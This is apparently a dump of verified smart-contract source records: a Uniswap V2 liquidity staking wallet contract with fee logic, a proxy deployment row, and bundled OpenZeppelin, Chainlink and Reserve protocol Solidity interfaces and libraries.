IERC20(stakingTokenA).safeTransferFrom(\n msg.sender,\n address(this),\n amountTokenDesired\n );\n\n IERC20(stakingTokenA).safeApprove(IUniV2LPFactory(factoryAddress).getStakingContract(), 0);\n IERC20(stakingTokenA).safeApprove(IUniV2LPFactory(factoryAddress).getStakingContract(), amountTokenDesired);\n\n (uint amountToken, uint amountETH,) = IUniV2Router(IUniV2LPFactory(factoryAddress).getStakingContract()).addLiquidityETH{ value: msg.value}(\n stakingTokenA,\n amountTokenDesired,\n 0,\n 0,\n address(this),\n deadline\n );\n\n // if leftover send back\n if (IERC20(stakingTokenA).balanceOf(address(this)) > 0) {\n IERC20(stakingTokenA).safeTransfer(owner, IERC20(stakingTokenA).balanceOf(address(this)));\n }\n if (address(this).balance > 0) {\n payable(address(owner)).transfer(address(this).balance);\n }\n\n emit Staked(owner, amountToken, amountETH);\n }\n\n function removeLiquidityETH(\n uint liquidity,\n uint deadline\n ) external onlyOwner nonReentrant {\n require(liquidity > 0, \"Cannot withdraw 0\");\n\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeIncreaseAllowance(IUniV2LPFactory(factoryAddress).getStakingContract(), 0);\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeIncreaseAllowance(IUniV2LPFactory(factoryAddress).getStakingContract(), liquidity);\n\n // get user stats\n (,,,uint val4) = IYieldManager(factoryAddress.getYieldManager()).getUserFactors(\n owner,\n 0\n );\n\n uint mgmtFee = (val4 liquidity) / 100 / 100;\n uint sponsorFee;\n\n // get sponsor\n address sponsor = IYieldManager(factoryAddress.getYieldManager()).getAffiliate(owner);\n // get sponsor stats\n if (sponsor != address(0)) {\n (,uint sval2,, ) = IYieldManager(factoryAddress.getYieldManager())\n .getUserFactors(sponsor, 1);\n sponsorFee = (mgmtFee * sval2) / 100 / 100;\n mgmtFee -= sponsorFee;\n }\n\n liquidity = liquidity - mgmtFee - sponsorFee;\n (uint amountA, uint amountETH) = IUniV2Router(IUniV2LPFactory(factoryAddress).getStakingContract()).removeLiquidityETH(\n IUniV2LPFactory(factoryAddress).getStakingTokenA(),\n liquidity,\n 0,\n 0,\n address(this),\n deadline\n );\n\n // send tokens to client\n IERC20(IUniV2LPFactory(factoryAddress).getStakingTokenA()).safeTransfer(\n owner,\n IERC20(IUniV2LPFactory(factoryAddress).getStakingTokenA()).balanceOf(address(this))\n );\n payable(address(owner)).transfer(address(this).balance);\n\n // send sponsor and mgmt fee\n if (sponsor != address(0) && sponsorFee != 0) {\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeTransfer(sponsor, sponsorFee);\n emit SponsorFee(sponsor, sponsorFee);\n }\n\n if (mgmtFee != 0) {\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeTransfer(address(factoryAddress), mgmtFee);\n emit MgmtFee(address(factoryAddress), mgmtFee);\n }\n emit Unstaked(owner, amountA, amountETH);\n }\n\n function recoverERC20(address token, uint amount) public onlyOwner {\n require(factoryAddress.getRecoverOpen(), \"recover not open\");\n IERC20(token).safeTransfer(owner, amount);\n emit ERC20Recovered(owner, amount);\n }\n\n function stake(uint amount) public onlyOwner {\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeIncreaseAllowance(IUniV2LPFactory(factoryAddress).getRewardStakingContract(), 0);\n IERC20(IUniV2LPFactory(factoryAddress).getLPToken()).safeIncreaseAllowance(IUniV2LPFactory(factoryAddress).getRewardStakingContract(), amount);\n ILockedStakingrewards(IUniV2LPFactory(factoryAddress).getRewardStakingContract()).stake(amount);\n emit LPStake(amount);\n }\n\n function withdraw(uint amount) public onlyOwner {\n ILockedStakingrewards(IUniV2LPFactory(factoryAddress).getRewardStakingContract()).withdraw(amount);\n emit LPWithdraw(amount);\n }\n\n function reStake() public onlyOwner {\n ILockedStakingrewards(IUniV2LPFactory(factoryAddress).getRewardStakingContract()).reStake();\n emit LPReStake();\n }\n\n function getReward() public onlyOwner {\n ILockedStakingrewards(IUniV2LPFactory(factoryAddress).getRewardStakingContract()).getReward();\n IERC20(IUniV2LPFactory(factoryAddress).getRewardStakingToken()).safeTransfer(owner, IERC20(IUniV2LPFactory(factoryAddress).getRewardStakingToken()).balanceOf(address(this)));\n emit LPGetRewards();\n }\n\n /*\n receive function to receive funds\n /\n receive() external payable {}\n}\n\ninterface IUniV2LPFactory {\n function getYieldManager() external view returns(address);\n function getLPToken() external view returns (address);\n function getStakingTokenA() external view returns (address);\n function getStakingContract() external view returns (address);\n function getRewardStakingContract() external view returns (address);\n function getRewardStakingToken() external view returns (address);\n function getRecoverOpen() external view returns (bool);\n}\n\ninterface ILockedStakingrewards {\n function getReward() external;\n function withdraw(uint256 amount) external;\n function stake(uint256 amount) external;\n function reStake() external;\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1	19,499,721	3a98c4085e40d4c8dbf4b4cb4cb19c3edac63f491b90c3a6ccc3c63a7a747311	1b57e19b2e65f33fd8337dd80b5db5d68e86f87b1b4a47e4b3f6331d7c4ebacc	f2d98377d80dadf725bfb97e91357f1d81384de2	90eb22a31b69c29c34162e0e9278cc0617aa2b50	1242a59d49b42bf3d2669bac8ac6c047e2ece6e7	3d602d80600a3d3981f3363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3	363d3d373d3d3d363d734edeb80ce684a890dd58ae0d9762c38731b11b995af43d82803e903d91602b57fd5bf3	{{ "language": "Solidity", "sources": { "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(uint80 _roundId)\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n" }, "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/*\n @dev External interface of AccessControl declared to support ERC165 detection.\n /\ninterface IAccessControlUpgradeable {\n /\n @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n \n `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n \n _Available since v3.1._\n /\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /\n @dev Emitted when `account` is granted `role`.\n \n `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n /\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /\n @dev Emitted when `account` is revoked `role`.\n \n `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n /\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /\n @dev Returns `true` if `account` has been granted `role`.\n /\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /\n @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n \n To change a role's admin, use {AccessControl-_setRoleAdmin}.\n /\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /\n @dev Grants `role` to `account`.\n \n If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n \n Requirements:\n \n - the caller must have ``role``'s admin role.\n /\n function grantRole(bytes32 role, address account) external;\n\n /\n @dev Revokes `role` from `account`.\n \n If `account` had been granted `role`, emits a {RoleRevoked} event.\n \n Requirements:\n \n - the caller must have ``role``'s admin role.\n /\n function revokeRole(bytes32 role, address account) external;\n\n /\n @dev Revokes `role` from the calling account.\n \n Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n \n If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n \n Requirements:\n \n - the caller must be `account`.\n /\n function renounceRole(bytes32 role, address account) external;\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n \n Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n /\ninterface IERC20PermitUpgradeable {\n /\n @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n \n IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n \n Emits an {Approval} event.\n \n Requirements:\n \n - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n \n For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n /\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /\n @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n \n Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n /\n function nonces(address owner) external view returns (uint256);\n\n /\n @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n /\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/\n @dev Interface for the optional metadata functions from the ERC20 standard.\n \n _Available since v4.1._\n /\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /\n @dev Returns the name of the token.\n /\n function name() external view returns (string memory);\n\n /\n @dev Returns the symbol of the token.\n /\n function symbol() external view returns (string memory);\n\n /\n @dev Returns the decimals places of the token.\n /\n function decimals() external view returns (uint8);\n}\n" }, "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 standard as defined in the EIP.\n /\ninterface IERC20Upgradeable {\n /\n @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n \n Note that `value` may be zero.\n /\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /\n @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n /\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /\n @dev Returns the amount of tokens in existence.\n /\n function totalSupply() external view returns (uint256);\n\n /\n @dev Returns the amount of tokens owned by `account`.\n /\n function balanceOf(address account) external view returns (uint256);\n\n /\n @dev Moves `amount` tokens from the caller's account to `to`.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transfer(address to, uint256 amount) external returns (bool);\n\n /\n @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n \n This value changes when {approve} or {transferFrom} are called.\n /\n function allowance(address owner, address spender) external view returns (uint256);\n\n /\n @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n \n Emits an {Approval} event.\n /\n function approve(address spender, uint256 amount) external returns (bool);\n\n /\n @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n \n Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n /\ninterface IERC20Permit {\n /\n @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n \n IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n \n Emits an {Approval} event.\n \n Requirements:\n \n - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n \n For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n /\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /\n @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n \n Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n /\n function nonces(address owner) external view returns (uint256);\n\n /\n @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n /\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n" }, "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/\n @dev Interface for the optional metadata functions from the ERC20 standard.\n \n _Available since v4.1._\n /\ninterface IERC20Metadata is IERC20 {\n /\n @dev Returns the name of the token.\n /\n function name() external view returns (string memory);\n\n /\n @dev Returns the symbol of the token.\n /\n function symbol() external view returns (string memory);\n\n /\n @dev Returns the decimals places of the token.\n /\n function decimals() external view returns (uint8);\n}\n" }, "@openzeppelin/contracts/token/ERC20/IERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/\n @dev Interface of the ERC20 standard as defined in the EIP.\n /\ninterface IERC20 {\n /\n @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n \n Note that `value` may be zero.\n /\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /\n @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n /\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /\n @dev Returns the amount of tokens in existence.\n /\n function totalSupply() external view returns (uint256);\n\n /\n @dev Returns the amount of tokens owned by `account`.\n /\n function balanceOf(address account) external view returns (uint256);\n\n /\n @dev Moves `amount` tokens from the caller's account to `to`.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transfer(address to, uint256 amount) external returns (bool);\n\n /\n @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n \n This value changes when {approve} or {transferFrom} are called.\n /\n function allowance(address owner, address spender) external view returns (uint256);\n\n /\n @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n \n Emits an {Approval} event.\n /\n function approve(address spender, uint256 amount) external returns (bool);\n\n /\n @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n \n Returns a boolean value indicating whether the operation succeeded.\n \n Emits a {Transfer} event.\n /\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/\n @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n /\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /\n @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n \n Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n /\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) \|\| (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /\n @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n /\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/\n @dev Collection of functions related to the address type\n /\nlibrary Address {\n /\n @dev Returns true if `account` is a contract.\n \n [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n \n Among others, `isContract` will return false for the following\n * types of addresses:\n \n - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n \n [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n \n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n /\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /\n @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n \n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n \n https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n \n IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n /\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /\n @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n \n If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n \n Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n \n Requirements:\n \n - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n \n _Available since v3.1._\n /\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n \n Requirements:\n \n - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n \n _Available since v3.1._\n /\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n \n _Available since v3.3._\n /\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /\n @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n \n _Available since v3.4._\n /\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /\n @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n \n _Available since v4.3._\n /\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" }, "contracts/interfaces/IAsset.sol": { "content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n// Not used directly in the IAsset interface, but used by many consumers to save stack space\nstruct Price {\n uint192 low; // {UoA/tok}\n uint192 high; // {UoA/tok}\n}\n\n/\n @title IAsset\n * @notice Supertype. Any token that interacts with our system must be wrapped in an asset,\n * whether it is used as RToken backing or not. Any token that can report a price in the UoA\n * is eligible to be an asset.\n /\ninterface IAsset is IRewardable {\n /// Refresh saved price\n /// The Reserve protocol calls this at least once per transaction, before relying on\n /// the Asset's other functions.\n /// @dev Called immediately after deployment, before use\n function refresh() external;\n\n /// Should not revert\n /// low should be nonzero if the asset could be worth selling\n /// @return low {UoA/tok} The lower end of the price estimate\n /// @return high {UoA/tok} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero when the asset might be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return {tok} The balance of the ERC20 in whole tokens\n function bal(address account) external view returns (uint192);\n\n /// @return The ERC20 contract of the token with decimals() available\n function erc20() external view returns (IERC20Metadata);\n\n /// @return The number of decimals in the ERC20; just for gas optimization\n function erc20Decimals() external view returns (uint8);\n\n /// @return If the asset is an instance of ICollateral or not\n function isCollateral() external view returns (bool);\n\n /// @return {UoA} The max trade volume, in UoA\n function maxTradeVolume() external view returns (uint192);\n\n /// @return {s} The timestamp of the last refresh() that saved prices\n function lastSave() external view returns (uint48);\n}\n\n// Used only in Testing. Strictly speaking an Asset does not need to adhere to this interface\ninterface TestIAsset is IAsset {\n /// @return The address of the chainlink feed\n function chainlinkFeed() external view returns (AggregatorV3Interface);\n\n /// {1} The max % deviation allowed by the oracle\n function oracleError() external view returns (uint192);\n\n /// @return {s} Seconds that an oracle value is considered valid\n function oracleTimeout() external view returns (uint48);\n\n /// @return {s} The maximum of all oracle timeouts on the plugin\n function maxOracleTimeout() external view returns (uint48);\n\n /// @return {s} Seconds that the price() should decay over, after stale price\n function priceTimeout() external view returns (uint48);\n\n /// @return {UoA/tok} The last saved low price\n function savedLowPrice() external view returns (uint192);\n\n /// @return {UoA/tok} The last saved high price\n function savedHighPrice() external view returns (uint192);\n}\n\n/// CollateralStatus must obey a linear ordering. That is:\n/// - being DISABLED is worse than being IFFY, or SOUND\n/// - being IFFY is worse than being SOUND.\nenum CollateralStatus 